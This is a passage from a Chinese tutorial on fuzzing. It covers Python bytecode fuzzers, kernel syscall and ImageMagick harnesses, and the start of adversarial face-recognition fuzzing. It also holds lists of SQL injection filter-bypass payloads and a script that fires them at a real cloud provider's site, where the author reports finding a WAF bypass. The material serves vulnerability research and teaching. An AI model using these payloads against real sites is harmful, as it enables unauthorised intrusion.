这些,就得要手工构造入口点,再提供给AFL 来Fuzzing\n  \n  对于Python 来说,我们还有pyc 文件,pyc 文件里面保存的是Python OpCode ,使用Python 执行pyc 之后,最后会将OpCode 传递到`PyEval_EvalFrameEx()` 执行,关于pyc 的文件结构读者们可以自行搜素,下面放一段打包字节码成pyc 结构的代码\n  \n```python\n\n    import marshal\n\n    class code_object(object):\n\n        def __init__(self) :\n            self.co_argcount=0\n            self.co_nlocals=0\n            self.co_stacksize=1\n            self.co_flags=0x40\n            self.co_code=b''\n            self.co_consts=()\n            self.co_names=()\n            self.co_varnames=()\n            self.co_filename=''\n            self.co_name='<module>'\n            self.co_firstlineno=1\n            self.co_lnotab=b'\\x00\\x01'\n            self.co_freevars=()\n            self.co_cellvars=()\n\n    def serialize_code_object(code_object) :\n        code_buffer=b'\\x63'\n        code_buffer+=marshal.dumps(code_object.co_argcount)[1:]\n        code_buffer+=marshal.dumps(code_object.co_nlocals)[1:]\n        code_buffer+=marshal.dumps(code_object.co_stacksize)[1:]\n        code_buffer+=marshal.dumps(code_object.co_flags)[1:]\n        code_buffer+=marshal.dumps(code_object.co_code)\n        code_buffer+=marshal.dumps(code_object.co_consts)\n        code_buffer+=marshal.dumps(code_object.co_names)\n        code_buffer+=marshal.dumps(code_object.co_varnames)\n        code_buffer+=marshal.dumps(code_object.co_freevars)\n        code_buffer+=marshal.dumps(code_object.co_cellvars)\n        code_buffer+=marshal.dumps(code_object.co_filename)\n        code_buffer+=marshal.dumps(code_object.co_name)\n        code_buffer+=struct.pack('L',code_object.co_firstlineno)\n        code_buffer+=marshal.dumps(code_object.co_lnotab)\n\n        return code_buffer\n        \n    def save_to_pyc(file_path,code_object) :\n        file=open(file_path, 'wb')\n\n        if file :\n            file.write(imp.get_magic())\n            file.write(struct.pack('L',time.time()))\n            file.write(serialize_code_object(code_object))\n            file.close()\n            \n    def make_code_object(opcode_data) :\n        compile_code_object = python_opcode_build.code_object()\n\n        compile_code_object.co_argcount = 0\n        compile_code_object.co_code = packet_code_object_in_try_block(opcode_data)\n        compile_code_object.co_consts = tuple(make_random_string_list(3,8),)\n        compile_code_object.co_names = tuple(make_random_string_list(3,8))\n        compile_code_object.co_varnames = tuple(make_random_string_list(3,8))\n\n        return compile_code_object\n            \n\n```\n\n\n## Fuzzing 数据生成\n\n  找到了一个攻击点并且构造好Fuzzing 入口点之后,这个时候就需要传递一些数据进去测试了,一般有两种方式进行Fuzzing\n  \n  \n### 随机生成数据\n\n  随机生成数据是真的随机,我们来看看Fuzzer 的代码\n\n```python\n\n\n    import imp\n    import marshal\n    import os\n    import random\n    import struct\n    import time\n\n\n    class code_object_class(object):\n\n        def __init__(self) :\n            self.co_argcount=0\n            self.co_nlocals=0\n            self.co_stacksize=1\n            self.co_flags=0x40\n            self.co_code=b''\n            self.co_consts=()\n            self.co_names=()\n            self.co_varnames=()\n            self.co_filename=''\n            self.co_name='<module>'\n            self.co_firstlineno=1\n            self.co_lnotab=b'\\x00\\x01'\n            self.co_freevars=()\n            self.co_cellvars=()\n\n    def serialize_code_object(code_object) :\n        code_buffer=b'\\x63'\n        code_buffer+=marshal.dumps(code_object.co_argcount)[1:]\n        code_buffer+=marshal.dumps(code_object.co_nlocals)[1:]\n        code_buffer+=marshal.dumps(code_object.co_stacksize)[1:]\n        code_buffer+=marshal.dumps(code_object.co_flags)[1:]\n        code_buffer+=marshal.dumps(code_object.co_code)\n        code_buffer+=marshal.dumps(code_object.co_consts)\n        code_buffer+=marshal.dumps(code_object.co_names)\n        code_buffer+=marshal.dumps(code_object.co_varnames)\n        code_buffer+=marshal.dumps(code_object.co_freevars)\n        code_buffer+=marshal.dumps(code_object.co_cellvars)\n        code_buffer+=marshal.dumps(code_object.co_filename)\n        code_buffer+=marshal.dumps(code_object.co_name)\n        code_buffer+=struct.pack('L',code_object.co_firstlineno)\n        code_buffer+=marshal.dumps(code_object.co_lnotab)\n\n        return code_buffer\n\n    def save_to_pyc(file_path,code_object) :\n        file=open(file_path, 'wb')\n\n        if file :\n            file.write(imp.get_magic())\n            file.write(struct.pack('L',time.time()))\n            file.write(serialize_code_object(code_object))\n            file.close()\n\n    def make_random_string(length) :\n        data = ''\n\n        for index in range(length) :\n            data += chr(random.randint(0,255))\n\n        return data\n\n    def make_random_string_list(list_count,string_length) :\n        return_list = []\n\n        for list_index in range(list_count) :\n            for string_index in range(list_count) :\n                return_list.append(make_random_string(string_length))\n\n        return return_list\n\n    def packet_code_object_in_try_block(code) :\n        code_length_low = (len(code) % 0x100) & 0xFF\n        code_length_height = (len(code) >> 8) & 0xFF\n\n        try_block = b'\\x79'\n        try_block += chr(code_length_height)\n        try_block += chr(code_length_low)\n        try_block += code\n        try_block += b'\\x6e\\x07\\x00\\x01\\x01\\x01\\x6e\\x01\\x00\\x58\\x64\\x01\\x00\\x53'\n\n        return try_block\n\n    def make_code_object(opcode_data) :\n        compile_code_object = code_object_class()\n\n        compile_code_object.co_argcount = 0\n        compile_code_object.co_code = packet_code_object_in_try_block(opcode_data)\n        compile_code_object.co_consts = tuple(make_random_string_list(3,8),)\n        compile_code_object.co_names = tuple(make_random_string_list(3,8))\n        compile_code_object.co_varnames = tuple(make_random_string_list(3,8))\n\n        return compile_code_object\n\n\n    if __name__ == '__main__' :\n        while True :\n            code_object = make_code_object(make_random_string(64))\n\n            save_to_pyc('python_fuzzing.tmp.pyc',code_object)\n\n            os.system('python python_fuzzing.tmp.pyc')\n\n```\n\n  运行效果\n\n![](pic2/fuzzing_state.png)\n\n\n### 按结构生成数据\n\n  上面的Fuzzing 已经出现了崩溃的结果,现在我们可以开开心心地拿样本来分析漏洞崩溃原因了,不过这里是在讨论如何Fuzzing ,所以就不多做漏洞分析了,细心的你应该观察到了这一点\n\n![](pic2/error_fuzzing.png)\n\n  这些OpCode 无法被运行环境所识别,所以提示了异常.重复来跑这种没有意义的Fuzzing 其实是很低效的,我们回去阅读`PyEval_EvalFrameEx()` 找到解决问题的答案.\n\n  在`Python/Ceval.c:1199` 行代码里,这里是OpCode 的解析执行部分,我们看这个switch 的default 部分(`Python/Ceval.c:3134`)\n\n```c\n\n    default:\n        fprintf(stderr,\n            \"XXX lineno: %d, opcode: %d\\n\",\n            PyFrame_GetLineNumber(f),\n            opcode);\n        PyErr_SetString(PyExc_SystemError, \"unknown opcode\");\n        why = WHY_EXCEPTION;\n        break;\n\n```\n\n  原来是OpCode 没有被case 语句判断成功,那么再去看看`include\\Opcode.h` 的OpCode 都有哪些取值\n\n```c\n\n    #ifndef Py_OPCODE_H\n    #define Py_OPCODE_H\n    #ifdef __cplusplus\n    extern \"C\" {\n    #endif\n\n\n    /* Instruction opcodes for compiled code */\n\n    #define STOP_CODE\t0\n    #define POP_TOP\t\t1\n    #define ROT_TWO\t\t2\n    #define ROT_THREE\t3\n    \n    // .....\n\n    #define SETUP_WITH 143\n\n    /* Support for opargs more than 16 bits long */\n    #define EXTENDED_ARG  145\n\n    #define SET_ADD         146\n    #define MAP_ADD         147\n\n\n    enum cmp_op {PyCmp_LT=Py_LT, PyCmp_LE=Py_LE, PyCmp_EQ=Py_EQ, PyCmp_NE=Py_NE, PyCmp_GT=Py_GT, PyCmp_GE=Py_GE,\n             PyCmp_IN, PyCmp_NOT_IN, PyCmp_IS, PyCmp_IS_NOT, PyCmp_EXC_MATCH, PyCmp_BAD};\n\n    #define HAS_ARG(op) ((op) >= HAVE_ARGUMENT)\n\n    #ifdef __cplusplus\n    }\n    #endif\n    #endif /* !Py_OPCODE_H */\n\n```\n\n  这些OpCode 都是连续的,从0 到147 这个范围里取值,那么就可以确定`OpCode = range(0,104)` ,接下来再看第94 行和第166 行代码\n\n```c\n\n    #define HAVE_ARGUMENT\t90\t/* Opcodes from here have an argument: */  //  OpCode.h:90\n\n    #define STORE_NAME\t90\t/* Index in name list */\n    #define DELETE_NAME\t91\t/* \"\" */\n    #define UNPACK_SEQUENCE\t92\t/* Number of sequence items */\n    #define FOR_ITER\t93\n    #define LIST_APPEND\t94\n\n    // ...\n\n    #define HAS_ARG(op) ((op) >= HAVE_ARGUMENT)  //  OpCode.h:166\n\n```\n\n  现在我们知道OpCode 的数值大于90 就是需要带参数的OpCode ,现在就需要找到OpNumber 的格式到底是怎么样的,来看看`Ceval.c:1167` 行代码\n\n```c\n\n    opcode = NEXTOP();\n    oparg = 0;   /* allows oparg to be stored in a register because\n        it doesn't have to be remembered across a full loop */\n    if (HAS_ARG(opcode))\n        oparg = NEXTARG();\n        \n    #define NEXTOP()        (*next_instr++)\n    #define NEXTARG()       (next_instr += 2, (next_instr[-1]<<8) + next_instr[-2])\n\n```\n\n  现在可以知道,OpCode 格式如下:\n\n```\n\n    不带参数:  OpCode (1 Byte)\n    带参数:    OpCode (1 Byte) | OpNumber (2 Byte)\n\n```\n\n  根据上面得到的信息,可以写一个按照结构生成数据的模块.\n  \n```python\n\n    def opcode_no_opnumber() :  #  针对无操作数的指令进行数据生成\n        opcode = random.randint(0,89)\n\n        return chr(opcode)\n\n    def opcode_has_opnumber() :  #  针对有操作数的指令进行数据生成\n        opcode = random.randint(90,104)\n        opnumber1 = random.randrange(0xFF)\n        opnumber2 = random.randrange(0xFF)\n\n        return chr(opcode) + chr(opnumber1) + chr(opnumber2)\n\n    def make_opcode_stream(opcode_length = 6) :\n        opcode_stream = ''\n\n        for index in range(opcode_length) :\n            if random.randint(0,1) :  #  50% 的选择概率\n                opcode_stream += opcode_no_opnumber()\n            else :\n                opcode_stream += opcode_has_opnumber()\n\n        return opcode_stream\n\n```\n  \n  写好了这两个模块之后,还需要修改这些代码\n  \n```python\n\n    def make_code_object(opcode_data) :\n        compile_code_object = code_object_class()\n\n        compile_code_object.co_argcount = 0\n        compile_code_object.co_code = opcode_data\n        compile_code_object.co_consts = tuple(make_random_string_list(3,8),)\n        compile_code_object.co_names = tuple(make_random_string_list(3,8))\n        compile_code_object.co_varnames = tuple(make_random_string_list(3,8))\n\n        return compile_code_object\n\n\n    if __name__ == '__main__' :\n        while True :\n            code_object = make_code_object(make_opcode_stream())\n\n            save_to_pyc('python_fuzzing.tmp.pyc',code_object)\n\n            os.system('python python_fuzzing.tmp.pyc')\n\n```\n  \n  然后就可以继续跑Fuzzing 了,效果如下\n  \n![](pic2/fuzzing_update_state.png)\n\n![](pic2/fuzzing_update_state_1.png)\n\n  往下继续运行,我们还是可以看到Python 运行环境抛出了OpCode 识别失败,我们再回去读读`Opcode.h` 的代码\n\n```c\n\n    #define SLICE\t\t30\n    /* Also uses 31-33 */\n    #define SLICE_1\t\t31\n    #define SLICE_2\t\t32\n    #define SLICE_3\t\t33\n\n    #define STORE_SLICE\t40\n    /* Also uses 41-43 */\n    #define STORE_SLICE_1\t41\n    #define STORE_SLICE_2\t42\n    #define STORE_SLICE_3\t43\n\n    #define DELETE_SLICE\t50\n    /* Also uses 51-53 */\n    #define DELETE_SLICE_1\t51\n    #define DELETE_SLICE_2\t52\n    #define DELETE_SLICE_3\t53\n\n```\n\n  原来OpCode 的取值并不是连续的,这就解开了困扰我们的问题,读者们可以拿上面的代码去继续完善\n\n## 什么时候选择随机生成数据,什么时候选择按结构生成数据\n\n  **如果输入是有限制的,那就按结构生成数据,如果输入是无限制的,那就随机生成数据**\n  \n  输入限制是什么意思呢?不妨来看几个例子\n  \n\n### Fuzzing WAF\n\n  对WAF Fuzzing .攻击点有:SQL Payload 拦截,XSS Payload 拦截,WebShell 拦截,文件目录拦截,系统命令拦截等部分.现在拿出SQL Payload Fuzzing 来说,SQL Payload 是有限的,比如:' ,\" ,select ,union ,where 等关键字,还有SQL Bypass Payload ,可以参考SQLMAP 的Bypass 套路:https://github.com/sqlmapproject/sqlmap/tree/master/tamper\n  \n  对于输入是有限的Fuzzing ,**一定要尽可能搜集多的关键字,提高Fuzzing 代码覆盖率**\n\n```python\n\n    sql_tiny_dict = ['select','from','*','where','order by','desc','asc','insert','top','limit',             #  SQL 基础语句\n                     'update','delete','set','as','in','create','table','db'\n                     '\\'','\"','%','_',                                                                   #  特殊符号\n                     '(',')','=','<','>','<>','<=','=>','between','like','+','-','and','or','not','|',     #  运算符\n                     'NULL'\n                    ]\n\n    sql_function = [  #  函数\n                    'avg','count','first','last','max','min','sum','ucase','lcase','mid','len','round','now','format',\n                    'ascii','char','nchar','lower','upper','str','ltrim','rtrim','left','right','substring','charindex','patindex',\n                    'quotename','replicate','reverse','replace','space','stuff','cast','convert','day','month','year','dateadd',\n                    'datediff','datename','datepart','getdate','suser_name','user_name','user','show_role','db_name','object_name',\n                    'col_name','col_length','valid_name','charindex','rank','column_name'\n                   ]\n\n    bypass_string = [  #  Bypass 关键字\n                     '\\'','\"',\n                     '/*','*','*/','/**/',' ',b'\\0','%00','()','//','\\\\','--','#','--+','-- -',';','#',\n                     '%27','%u0027','%u02b9','%u02bc','%u02c8','%u2032','%uff07','%c0%27','%c0%a7','%e0%80%a7',  # '\n                     '%20','%u0020','%uff00','%c0%20','%c0%a0','%e0%80%a0',                                      # space\n                     '%28','%u0028','%uff08','%c0%28','%c0%a8','%e0%80%a8',                                      # (\n                     '%29','%u0029','%uff09','%c0%29','%c0%a9','%e0%80%a9',                                      # )\n                     '\\r','%0D','\\n','%0A','%0B','\\r\\n'\n                    ]\n                    \n                    \n    def make_payload(using_payload_count,using_bypass_count) :\n        output_payload = ''\n\n        if not random.randint(0,9) :  #  10%\n            output_payload += random.choice(['\\'','\"','%27','%28'])\n\n            if not random.randint(0,1) :  #  5%\n                output_payload += make_space()\n\n        if not random.randint(0,3) :  #  25%\n            output_payload += random.choice(bypass_string)\n\n            if not random.randint(0,1) :  #  12.5%\n                output_payload += make_space()\n\n        for using_payload_count_index in range(using_payload_count) :\n            if random.randint(0,1) :\n                sql_tiny_element = random.choice(sql_tiny_dict)  #fuzzing_entry.random_encode_string( )\n                bypass_payload = ''\n\n                for using_bypass_count_index in range(using_bypass_count) :\n                    bypass_payload += random.choice(bypass_string)\n\n                sql_tiny_element += bypass_payload + make_space()\n            else :\n                sql_tiny_element = random.choice(sql_function)\n\n                if random.randint(0,1) : #  25%\n                    for using_bypass_count_index in range(using_bypass_count) :\n                        sql_tiny_element += random.choice(bypass_string)\n\n                sql_tiny_element += '(' + make_argument() + ')'\n\n            output_payload += sql_tiny_element + make_space()\n\n        return output_payload\n        \n    def fuzzing() :\n        sql_url = 'https://cloud.tencent.com/?test='\n\n        while True :\n            sql_payload = make_payload(random.randint(1,6),random.randint(0,3))\n\n            print 'SQL payload :',\n\n            fuzzing_output.green_output(sql_payload)\n\n            print 'is pass:' , \n\n            responed = requests.get(sql_url + sql_payload)\n\n            if 200 == responed.status_code :\n                fuzzing_output.red_output(str(responed.status_code))# + '  ' + responed.text)\n            else :\n                fuzzing_output.bule_output(str(responed.status_code))\n\n            time.sleep(0.5)\n\n```\n  \n  运行结果如下,利用这个简单的Fuzzer 还找到了个腾讯云SQL Bypass 的洞.\n  \n![](pic2/fuzzing_waf.png)\n\n\n### Fuzzing Windows 内核\n  \n  Windows 内核的攻击点有很多,在这里我们只讨论内核函数syscall 的Fuzzing .参考链接:https://github.com/mwrlabs/KernelFuzzer ,https://github.com/tinysec/windows-syscall-table\n  \n  syscall 是有固定格式的:内核函数SSDT 索引号,参数1,参数2 等等.我们来看看KernelFuzzer 里面是怎么样做Fuzzing 输入点的,代码在`bughunt_syscall.asm` 和`bughunt_syscall_x64.asm` 中\n  \n```asm\n\n    mov ecx, [ebp + 18h] ; main (argv[5]) = dw0x04\n    push ecx\n    mov ecx, [ebp + 14h] ; main (argv[4]) = dw0x03\n    push ecx\n    mov ecx, [ebp + 10h] ; main (argv[3]) = dw0x02\n    push ecx\n    mov ecx, [ebp + 0Ch] ; main (argv[2]) = dw0x01\n    push ecx             ; push argument in stack ..\n\n    mov eax, [ebp + 08h] ; main (argv[1]) = syscall_uid\n\n    mov edx, 7FFE0300h\n    call dword ptr [edx] ;  call syscall ..\n\n```\n\n  我们再来看看SSDT 内核函数的信息\n\n| name | id32 | id64 | argc32 | argc64 | argcFrom\n| ------| ------ | ------ | ------ | ------ | ------\n| NtAcceptConnectPort | 2 | 2 | 6 | 6 | wow64\n| NtAccessCheck | 0 | 0 | 8 | 8 | wow64\n| NtAccessCheckAndAuditAlarm | 439 | 41 | 11 | 11 | wow64\n| NtAccessCheckByType | 438 | 99 | 11 | 11 | wow64\n| NtAccessCheckByTypeAndAuditAlarm | 437 | 89 | 16 | 16 | wow64\n| NtAccessCheckByTypeResultList | 436 | 100 | 11 | 11 | wow64\n| NtAccessCheckByTypeResultListAndAuditAlarm | 435 | 101 | 16 | 16 | wow64\n| NtAccessCheckByTypeResultListAndAuditAlarmByHandle | 434 | 102 | 17 | 17 | wow64\n  \n  id32 ,id64 指的是32 和64 位平台下的内核函数序号.argc32 和argc64 是指32 和64 位平台下的内核函数参数个数.所以我们可以知道Fuzzing 数据的构造方式了\n  \n```\n\n    syscall 2 a,b,c,d,e,f\n    syscall 0 a,b,c,d,e,f,g,h\n    syscall 439 a,b,c,d,e,f,g,h,i,j,k\n    ...\n\n```\n  \n  再精细一点来设计这个Fuzzing ,就还需要考虑到句柄,内核缓冲区等各种信息,更多细节在此就不多细说了,感兴趣的读者可以阅读:https://github.com/mwrlabs/KernelFuzzer/blob/master/bughunt_thread.h\n  \n  \n### Fuzzing ImageMagick\n\n  如果读者已经读过了我之前写过的那篇Fuzzing Imagemagick 的文章,可能你会对这段代码有疑惑,Link:https://github.com/lcatro/Fuzzing-ImageMagick/blob/master/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Fuzzing%E6%8C%96%E6%8E%98ImageMagick%E7%9A%84%E6%BC%8F%E6%B4%9E.md#5-如何使用libfuzzer-fuzzing-imagemagick ,摘录部分代码\n\n```c\n\n    static const struct {\n    char\n      *name;\n\n    unsigned char\n      *magic;\n\n    unsigned int\n      length,\n      offset;\n    } StaticMagic[] = {\n        #define MAGIC(name,offset,magic) {name,(unsigned char *)magic,sizeof(magic)-1,offset}\n\n        MAGIC(\"WEBP\", 8, \"WEBP\"),\n        MAGIC(\"AVI\", 0, \"RIFF\"),\n        MAGIC(\"8BIMWTEXT\", 0, \"8\\000B\\000I\\000M\\000#\"),\n        MAGIC(\"8BIMTEXT\", 0, \"8BIM#\"),\n        MAGIC(\"8BIM\", 0, \"8BIM\"),\n        MAGIC(\"BMP\", 0, \"BA\"),\n        MAGIC(\"BMP\", 0, \"BM\"),\n        MAGIC(\"BMP\", 0, \"CI\"),\n        MAGIC(\"BMP\", 0, \"CP\"),\n        MAGIC(\"BMP\", 0, \"IC\"),\n        MAGIC(\"BMP\", 0, \"PI\"),\n        MAGIC(\"CALS\", 21, \"version: MIL-STD-1840\"),\n        MAGIC(\"CALS\", 0, \"srcdocid:\"),\n        MAGIC(\"CALS\", 9, \"srcdocid:\"),\n        MAGIC(\"CALS\", 8, \"rorient:\"),\n        MAGIC(\"CGM\", 0, \"BEGMF\"),\n\n        //...\n    };\n    \n    extern \"C\" int LLVMFuzzerTestOneInput(const unsigned char* data,unsigned int size) {\n        int random_image_flag_index = random(data,size);\n        unsigned int random_image_flag_offset = StaticMagic[random_image_flag_index].offset;\n        unsigned int random_image_flag_length = StaticMagic[random_image_flag_index].length;\n        unsigned int image_buffer_length = random_image_flag_offset + random_image_flag_length + size;\n        unsigned char* image_buffer = (unsigned char*)malloc(image_buffer_length);\n\n        memset(image_buffer,0,image_buffer_length);\n        memcpy(image_buffer,StaticMagic[random_image_flag_index].name,StaticMagic[random_image_flag_index].length);\n\n        FILE* file = fopen(GENARATE_FILE_NAME,\"w\");\n\n        if (NULL != file) {\n            fwrite(image_buffer,1,image_buffer_length,file);\n            fclose(file);\n\n            printf(\"buffer=%s(0x%X), size=%d,input format=%s\\n\",image_buffer,image_buffer,image_buffer_length,StaticMagic[random_image_flag_index].name);\n\n            ExceptionInfo exception;\n            ImageInfo* read_image_info;\n            ImageInfo* write_image_info;\n            Image*     image;\n\n            GetExceptionInfo(&exception);\n\n            read_image_info = CloneImageInfo((ImageInfo*)NULL);\n            write_image_info = CloneImageInfo((ImageInfo*)NULL);\n\n            strlcpy(read_image_info->filename,GENARATE_FILE_NAME,MaxTextExtent);\n            strlcpy(write_image_info->filename,\"/dev/null\",MaxTextExtent);\n            SetImageInfo(read_image_info,SETMAGICK_READ,&exception);\n            SetImageInfo(write_image_info,SETMAGICK_WRITE,&exception);\n\n            image = ReadImage(read_image_info,&exception);\n\n            if (NULL != image)\n                  WriteImage(write_image_info,image);\n\n            DestroyImageInfo(read_image_info);\n            DestroyImageInfo(write_image_info);\n            DestroyExceptionInfo(&exception);\n        }\n\n        free(image_buffer);\n\n        return 0;\n    }\n\n```\n\n  这段代码的意思是,随机从`StaticMagic` 中选择一个图像头部特征,然后和libFuzzer 生成的数据拼接到一起.格式如下\n  \n```\n\n    图像格式特征码 | libFuzzer 生成的数据\n\n```\n\n  为什么要这么做呢?我们需要来阅读一下ImageMagick 的代码.图像格式特征码可以到`MagickCore/magic.c:90` 行找到声明.\n\n```c\n\n    static const MagicMapInfo\n      MagicMap[] =\n      {\n        { \"8BIMWTEXT\", 0, MagicPattern(\"8\\000B\\000I\\000M\\000#\") },\n        { \"8BIMTEXT\", 0, MagicPattern(\"8BIM#\") },\n        { \"8BIM\", 0, MagicPattern(\"8BIM\") },\n        { \"BMP\", 0, MagicPattern(\"BA\") },\n        { \"BMP\", 0, MagicPattern(\"BM\") },\n        { \"BMP\", 0, MagicPattern(\"CI\") },\n        \n        //...\n        \n        { \"XEF\", 0, MagicPattern(\"FOVb\") },\n        { \"XPM\", 1, MagicPattern(\"* XPM *\") }\n     };\n\n```\n\n  ImageMagick 识别图片格式在`MagickCore/magic.c:368` 行找到函数.\n  \n```c\n\n    MagickExport const MagicInfo *GetMagicInfo(const unsigned char *magic,\n      const size_t length,ExceptionInfo *exception)\n    {\n      register const MagicInfo\n        *p;\n\n      assert(exception != (ExceptionInfo *) NULL);\n      if (IsMagicCacheInstantiated(exception) == MagickFalse)\n        return((const MagicInfo *) NULL);\n      /*\n        Search for magic tag.\n      */\n      LockSemaphoreInfo(magic_semaphore);\n      ResetLinkedListIterator(magic_cache);\n      p=(const MagicInfo *) GetNextValueInLinkedList(magic_cache);\n      if (magic == (const unsigned char *) NULL)\n        {\n          UnlockSemaphoreInfo(magic_semaphore);\n          return(p);\n        }\n      while (p != (const MagicInfo *) NULL)\n      {\n        assert(p->offset >= 0);\n        if (((size_t) (p->offset+p->length) <= length) &&\n            (memcmp(magic+p->offset,p->magic,p->length) == 0))  //  注意这里,判断图片特征码\n          break;\n        p=(const MagicInfo *) GetNextValueInLinkedList(magic_cache);\n      }\n      if (p != (const MagicInfo *) NULL)\n        (void) InsertValueInLinkedList(magic_cache,0,\n          RemoveElementByValueFromLinkedList(magic_cache,p));\n      UnlockSemaphoreInfo(magic_semaphore);\n      return(p);\n    }\n\n```\n\n  我们来读一下ImageMagick 的读取图片部分的代码,位置在`MagickCore/constitute.c:410` \n  \n```c\n\n    magick_info=GetMagickInfo(read_info->magick,sans_exception);\n    sans_exception=DestroyExceptionInfo(sans_exception);\n    if (magick_info != (const MagickInfo *) NULL) {  //  读取图像信息\n    \n      // ...\n    \n      if ((magick_info != (const MagickInfo *) NULL) &&\n          (GetImageDecoder(magick_info) != (DecodeImageHandler *) NULL))\n        {\n          if (GetMagickDecoderThreadSupport(magick_info) == MagickFalse)\n            LockSemaphoreInfo(magick_info->semaphore);\n          image=GetImageDecoder(magick_info)(read_info,exception);\n          \n        // ...\n\n```\n\n  由此可知,只有能被ImageMagick 识别到的图像格式才可以被传递到对应的图像解析decoder 里面去解析数据.但是我们并不关心decoder 是怎么样去解析的,所以这部分我们使用随机生成数据.为什么不全部都用随机生成数据呢,这样会导致生成的图像特征码都是随机的,碰撞到正确的图像特征码的概率很低,浪费很多时间和资源在这些没有意义的地方.所以我们需要给定一个区间来让Fuzzer 生成数据,这样才能让ImageMagick 选择到decoder 来解析,如果我们要对所有的图像格式都要做对应的针对适配,**没有统一的格式**,按照特定的格式来生成数据,这样的人力成本太大了,不如让Fuzzer 随机生成数据.\n\n\n### Fuzzing 网络协议\n\n  网络协议都是已经固定好的数据格式,然后由一方发出到另一方来解析执行.我们来回顾一下C 语言的struct 结构\n  \n```c\n\n    typedef struct {\n        int  packet_type;\n        int  packet_data_length;\n        char packet_data;\n    } packet ;\n\n```\n\n  这个结构对应的内存布局\n  \n```\n\n    packet_type(4 Byte) | packet_data_length(4 Byte) | packet_data(packet_data_length Byte)\n\n```\n  \n  根据这个内存布局,我们来举几个例子,(为了方便阅读数据顺序是大端字节)\n\n```\n\n    0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x02 0x65 0x65 => 0 | 2 | AA\n    0x00 0x00 0xFF 0x00 0x00 0x00 0x00 0x04 0x01 0x02 0x03 0x04 => 0xFF00 | 4 | 0x01 0x02 0x03 0x04\n    0x1d 0xb2 0xaa 0x42 0x00 0x21 0xd2 0x23 0x65 => 0x1db2aa42 | 0x21d223 | A\n    ...\n\n```\n\n  前面两个例子是按照格式构造的,最后那个例子是瞎写的.用前面提到的两种方式(随机生成数据和按结构生成数据)来生成Fuzzing 数据,例子如下\n  \n```\n\n    按结构生成数据:random.randint() | random.randint() | random.randstring(4)\n    随机生成数据:random.randstring(12)\n\n```\n\n  不知道读者们有没有注意到非常重要的一点,这两条例子是等价的.也就是说`random.randint() | random.randint() | random.randstring(4)` 等价于`random.randstring(12)` .所以这个时候按结构生成数据的意义就没有了,我们来看一下ImageMagick 的图片解析部分代码`coders/icon.c:295`\n  \n```c\n\n    icon_file.reserved=(short) ReadBlobLSBShort(image);\n    icon_file.resource_type=(short) ReadBlobLSBShort(image);\n    icon_file.count=(short) ReadBlobLSBShort(image);\n    if ((icon_file.reserved != 0) ||\n      ((icon_file.resource_type != 1) && (icon_file.resource_type != 2)) ||\n      (icon_file.count > MaxIcons))\n        ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n    extent=0;\n    for (i=0; i < icon_file.count; i++)\n    {\n        icon_file.directory[i].width=(unsigned char) ReadBlobByte(image);\n        icon_file.directory[i].height=(unsigned char) ReadBlobByte(image);\n        icon_file.directory[i].colors=(unsigned char) ReadBlobByte(image);\n        icon_file.directory[i].reserved=(unsigned char) ReadBlobByte(image);\n        icon_file.directory[i].planes=(unsigned short) ReadBlobLSBShort(image);\n        icon_file.directory[i].bits_per_pixel=(unsigned short)\n          ReadBlobLSBShort(image);\n        icon_file.directory[i].size=ReadBlobLSBLong(image);\n        icon_file.directory[i].offset=ReadBlobLSBLong(image);\n        if (EOFBlob(image) != MagickFalse)\n          break;\n        extent=MagickMax(extent,icon_file.directory[i].size);\n    }\n\n```\n\n  这部分的代码相当于按照这个格式来读取数据\n\n```\n\n    short | short | short | [ Byte | Byte | Byte | Byte | long | long ] | [ Byte | Byte | Byte | Byte | long | long ] | ...\n\n```\n\n  所以,直接使用random.randstring() 直接生成随机数据传递到这里Fuzzing 即可,无需再按结构生成数据.\n  \n  回到这个小节提出的问题:那么什么时候选择随机生成数据,什么时候选择按结构生成数据呢?**如果输入是有限制的,那就按结构生成数据,如果输入是无限制的,那就随机生成数据;如果按结构生成数据可以触发更多的代码执行,那就按结构生成数据,否则就使用随机生成数据**.\n\n\n## 结尾\n\n  阅读源码是一个非常有用的技能,**绝大多数的疑惑,都能在源码里面找到**,这是以前在腾讯的一位T3 的同事给我的教诲,受益至今.前面用了很多的篇幅,介绍了Fuzzing 和阅读源码之间的关系是有多么重要.希望这些经验能够帮助在学习挖掘漏洞的读者们.本章是偏向于二进制的Fuzzing 的,关于二进制还有一些其他的Fuzzing 经验和大家分享.\n\n![](pic2/tips.png)\n\n## AFL 和libFuzzer 的演示\n\n  多开AFL Fuzzing 库\n\n![](pic2/afl.png)\n\n  跑到内存异常的libFuzzer \n\n![](pic2/libfuzzer.png)\n\n\n"
  },
  {
    "path": "3.Fuzzing 模糊测试之异常检测.md",
    "content": "\n\n## 必备工具\n\n  Python ,Python-face_recognition ,PHP ,Python-Requests ,Pydasm ,Pydbg\n\n\n## Fuzzing 的异常检测\n\n  上一章的结尾部分提到,程序运行包含:输入->解析->内部逻辑处理->数据组装->输出,每一个部分都可能存在漏洞.总结一下Fuzzing 的异常检测分为两种:检测输出数据异常和检测运行异常.\n\n\n### 检测输出数据异常\n\n  程序需要依赖用户输入,然后进行处理,最后再输出程序处理的数据.以人脸识别为例子,我们同样可以使用Fuzzing 来让识别算法判断两个人脸为同一个人.先来看一下Python 库`face_recognition` 是怎么做识别的.\n\n```python\n\n    def compare_faces(known_face_encodings, face_encoding_to_check, tolerance=0.6):\n        \"\"\"\n        Compare a list of face encodings against a candidate encoding to see if they match.\n\n        :param known_face_encodings: A list of known face encodings\n        :param face_encoding_to_check: A single face encoding to compare against the list\n        :param tolerance: How much distance between faces to consider it a match. Lower is more strict. 0.6 is typical best performance.\n        :return: A list of True/False values indicating which known_face_encodings match the face encoding to check\n        \"\"\"\n        return list(face_distance(known_face_encodings, face_encoding_to_check) <= tolerance)\n\n```\n\n  compare_faces() 函数根据face_distance() 函数对比两张图片的相似度做对比,当相似度小于默认值0.6 时,数值越小两张人脸越相同,即判断为同一个人.让两张不是同一个人的识别成为同一个人,本质上是干扰人脸识别算法的判断概率.**只需要对每一个像素点做极小的修改,就能影响数据点被分类的结果.必定存在一个与原本数据相差极小而被判断为任意一个类别的数据**.简单地来说,通过在脸部附近随机生成一些像素点,会影响到最终识别结果.Fuzzer 构造如下\n\n```python\n\n    import random\n\n    from numpy import array\n    from PIL import Image\n    from PIL import ImageDraw\n\n    import face_recognition\n\n\n    def load_image_encoding(file_path) :\n        image = face_recognition.load_image_file(file_path)\n        